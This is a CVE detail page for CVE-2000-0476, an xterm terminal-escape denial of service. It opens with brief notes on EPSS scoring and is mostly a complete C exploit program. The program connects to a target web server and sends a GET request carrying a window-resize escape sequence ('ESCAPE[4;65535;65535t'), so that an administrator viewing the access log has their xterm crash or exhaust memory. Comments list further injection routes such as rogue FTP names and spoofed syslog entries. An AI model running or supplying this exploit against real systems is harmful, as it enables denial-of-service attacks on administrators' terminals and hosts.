CVE-2000-0476 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/1298/info xterm is a popular X11-based terminal emulator. If VT control-characters are displayed in the xterm, they can be interpreted and used to cause a denial of service attack against the client (and even the host running the client). What makes it possible for remote users to exploit this vulnerability is a situation like this: An admin is tailing the http access log Attacker requests url with control characters in it Admin's xterm crashes This vulnerability also affects applications (such as other terminal emulators) derived from xterm code. /* * * xterm Denial of Service Attack * (C) 2000 Kit Knox <[email protected]> - 5/31/2000 * * Tested against: xterm (XFree86 3.3.3.1b(88b) -- crashes * rxvt v2.6.1 -- consumes all available memory and then * crashes. * * Not vulnerable: KDE konsole 0.9.11 * Secure CRT 3.0.x * * * By sending the VT control characters to resize a window it is possible * to cause an xterm to crash and in some cases consume all available * memory. * * This itself isn't much of a problem, except that remote users can inject * these control characters into your xterm numerous ways including : * * o Directories and filenames on a rogue FTP servers. * o Rogue banner messages on ftp, telnet, mud daemons. * o Log files (spoofed syslog messages, web server logs, ftp server logs) * * This sample exploit injects these control characters into a web get * request. If an admin were to cat this log file, or happened to be doing * a "tail -f access_log" at the time of attack they would find their * xterm crash. * * Embedding "ESCAPE[4;65535;65535t" (where escape is the escape character) * inside files, directories, etc will have the same effect as this code. * */ #include <stdio.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <arpa/inet.h> #include <string.h> #include <unistd.h> #include <stdlib.h> int sock; int main (int argc, char *argv[]) { struct hostent *he; struct sockaddr_in sa; char buf[1024]; char packet[1024]; int i; fprintf(stderr, "[ http://www.rootshell.com/ ] - xterm DoS attack - 05/31/2000.\n\n"); if (argc != 2) { fprintf (stderr, "usage: %s <host/ip>\n", argv[0]); return (-1); } sock = socket (AF_INET, SOCK_STREAM, 0); sa.sin_family = AF_INET; sa.sin_port = htons (80); he = gethostbyname (argv[1]); if (!he) { if ((sa.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE) return (-1); } else { bcopy (he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length); } if (connect (sock, (struct sockaddr *) &sa, sizeof (sa)) < 0) { fprintf (stderr, "Fatal Error: Can't connect to web server.\n"); return (-1); } sprintf(packet, "GET /\033[4;65535;65535t HTTP/1.0\n\n"); write (sock, packet, strlen(packet)); close (sock); fprintf(stderr, "Done.\n"); }